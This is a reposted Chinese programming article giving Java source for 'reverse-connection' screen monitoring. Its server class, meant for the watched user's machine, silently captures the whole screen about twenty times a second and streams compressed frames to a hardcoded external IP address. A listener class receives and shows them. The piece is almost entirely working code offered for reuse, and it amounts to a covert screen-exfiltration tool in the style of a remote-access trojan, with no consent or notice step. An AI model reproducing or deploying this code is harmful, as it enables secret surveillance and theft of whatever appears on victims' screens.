科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道基础软件JAVA用TCP实现反向连接屏幕监视

JAVA用TCP实现反向连接屏幕监视

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文给出了基于JAVA来用TCP实现反向连接屏幕监视例子的源代码,供大家参考!

作者:無名氏 来源:Csdn博客 2007年9月3日

关键字: java TCP 监视

  • 评论
  • 分享微博
  • 分享邮件

以下这个为服务器类 被监视的用户

import com.sun.image.codec.jpeg.JPEGCodec;

import com.sun.image.codec.jpeg.JPEGImageEncoder;

import java.awt.Dimension;

import java.awt.Rectangle;

import java.awt.Robot;

import java.awt.Toolkit;

import java.awt.image.BufferedImage;

import java.io.FileOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.util.zip.ZipEntry;

import java.util.zip.ZipOutputStream;

public class ShellServer extends Thread{

private Dimension screenSize;

private Rectangle rectangle;

private Robot robot;

private JPEGImageEncoder encoder;



public ShellServer() {

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域

try{

robot = new Robot();

}catch(Exception e){

e.printStackTrace();

System.out.println(e);

}

}

public void run(){

ZipOutputStream os = null;

Socket socket=null;

while (true){

try{

socket = new Socket("220.173.44.158",5000);//连接远程IP

BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域

os = new ZipOutputStream(socket.getOutputStream());//加入压缩流

//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));



os.setLevel(9);

os.putNextEntry(new ZipEntry("1.jpg"));

JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG

os.close();

Thread.sleep(50);//每秒20帧

}catch(Exception e){

e.printStackTrace();

}finally{

if(os!=null){

try{

os.close();

}catch(Exception ioe){}

}

if(socket!=null){

try {

socket.close();

} catch (IOException e) {

}

}

}

}

}

public static void main(String[] args) {

new ShellServer().start();

}

}

以下这个为客户端类 监视者

import java.awt.*;

import java.awt.image.BufferedImage;

import javax.imageio.ImageIO;

import javax.swing.*;

import java.io.*;

import java.net.ServerSocket;

import java.net.Socket;

import java.util.zip.ZipInputStream;

public class ShellClient  extends JFrame{

Dimension screenSize;

public ShellClient() {

super();

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

this.setSize(800, 640);//设置Frame初始

Screen p = new Screen();//屏幕类

Container c = this.getContentPane();

c.setLayout(new BorderLayout());//布局

c.add(p,"Center");//添加一个Panel

new Thread(p).start();//开启线程

this.show();//显示本Frame

}

public static void main(String[] args){

new ShellClient();

}

class Screen extends JPanel implements Runnable{

private Image cimage;

public void run(){

ServerSocket ss=null;

try{

ss=new ServerSocket(5000);//探听5000端口的连接

while(true){

Socket s=null;

try{

s=ss.accept();//获取一个SOCKET

ZipInputStream  zis=new ZipInputStream(s.getInputStream());

zis.getNextEntry();//获得ZIP流的ENTRY

cimage = ImageIO.read(zis);//把ZIP流转换为图片

//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));

repaint();//重画

}catch(Exception e){

e.printStackTrace();

}finally{

if(s!=null){

try {s.close();} catch (IOException e) {}

}

}

}

}catch(Exception e){}

finally{

if(ss!=null){

try {ss.close();} catch (IOException e) {}

}

}

}

public Screen() {

super();

this.setLayout(null);

}

public void paint(Graphics g){

super.paint(g);

Graphics2D g2 = (Graphics2D) g;

g2.drawImage(cimage, 0, 0, null);

}

}

}

主要采用了TCP协议+压缩流~ 速度还可以!不过觉得还可以优化,用UDP+动态的矩阵迟点再改进吧!

查看本文来源

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章